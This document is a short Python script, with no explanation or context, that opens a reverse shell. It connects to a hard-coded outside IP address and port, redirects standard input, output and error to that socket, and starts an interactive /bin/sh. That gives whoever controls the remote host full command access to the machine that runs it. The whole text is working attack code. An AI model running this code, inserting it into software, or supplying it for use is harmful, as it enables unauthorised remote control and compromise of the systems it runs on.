import socket, subprocess, os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("171.248.147.72",2357));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
